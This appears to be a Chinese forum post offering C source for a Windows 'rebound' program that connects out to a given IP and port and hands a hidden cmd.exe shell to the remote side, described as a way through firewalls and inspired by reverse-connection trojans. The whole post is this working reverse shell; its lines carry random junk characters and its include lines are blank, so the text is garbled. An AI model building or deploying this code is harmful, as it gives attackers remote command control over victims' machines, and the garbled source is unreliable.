这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 w
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/* ============================== [y\ZnoB
Rebound port in Windows NT X1]&j2WR
By wind,2006/7 d;|e7$F'
===============================*/ Mlb=,l
#include /wK5YN.em
#include C?#if;c
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#pragma comment(lib,"wsock32.lib") }Y(Q7l
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void OutputShell(); jj0@ez{3
SOCKET sClient; ;9q3FuR
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5~<>h~yJ
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void main(int argc,char **argv) DifRpj I-0
{ !
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WSADATA stWsaData; ')5W
int nRet; Ms<^_\iPN
SOCKADDR_IN stSaiClient,stSaiServer; .LEQ r)
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if(argc != 3) *qAF#
{ nSz Fs(]f
printf("Useage:\n\rRebound DestIP DestPort\n"); g(33h2"
return; D7X-|`kH
} #StD]d
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WSAStartup(MAKEWORD(2,2),&stWsaData); 9xB^dKM3
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
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stSaiClient.sin_family = AF_INET; 5>t&)g
stSaiClient.sin_port = htons(0); 79~,KFct
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &O#a==F!(
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) (s
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{ z tHGY
printf("Bind Socket Failed!\n"); &jl'1mZ
return; }H?8~S=
} O4@Ki4f3A%
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stSaiServer.sin_family = AF_INET; Wcz{": [
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); r6Lb0PzMf
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Q`7!~qV0=
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) aP!a?xq
{ f?dNTfQ3mi
printf("Connect Error!"); D2[wv+#)
return; 82~UI'f \
} m`g%\o^6i
OutputShell(); R I:x`do
} VD,F?L!
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void OutputShell() yH|ucN~k5S
{ ^OI
char szBuff[1024]; =3{h9
SECURITY_ATTRIBUTES stSecurityAttributes; z<+".sD'
OSVERSIONINFO stOsversionInfo; S&6}9r
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; @@*->
STARTUPINFO stStartupInfo; %+w>`k3(N
char *szShell; m1gJ"k6
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PROCESS_INFORMATION stProcessInformation; :)c >5
unsigned long lBytesRead; j23OgbI
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _R1UEE3M
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `V w9j,G
stSecurityAttributes.lpSecurityDescriptor = 0; 3rZFN^
stSecurityAttributes.bInheritHandle = TRUE; Fw+JhIVP
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); en=Z[ZIPO
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); !Wvzum@5D
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 1HN_
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DOkEWqM!
stStartupInfo.wShowWindow = SW_HIDE; "ltvD\
stStartupInfo.hStdInput = hReadPipe; 8q)2)p
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; c?}C{
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GetVersionEx(&stOsversionInfo); j5R= K*y
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switch(stOsversionInfo.dwPlatformId) #"O9\X/B
{ ]RPv@z:V
case 1: +;C|5y
szShell = "command.com"; !.+iA=K{
break; Nk3]<#$
default: $P^=QN5Bb
szShell = "cmd.exe"; <.l5>mgkCw
break; Y3-Tg~/~W
} .#zx[Io
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); v%/8pmZw;
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send(sClient,szMsg,77,0); YM 7P!8Gc
while(1) U@|{RP
{ bC$n+G>6k
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); #Jy+:|jJ
if(lBytesRead) L
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{ |O+R%'z'<
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); "3Dvc7V
send(sClient,szBuff,lBytesRead,0); j6/ 3p|E
} k5w+{iOh
else |QAmN>7U
{ f4/!iiS}r
lBytesRead=recv(sClient,szBuff,1024,0); >%qGK-_
if(lBytesRead<=0) break; ^M,t`r{
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ZA2y
} IqfR`iAix
} E-*udQ
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return; b= F"
}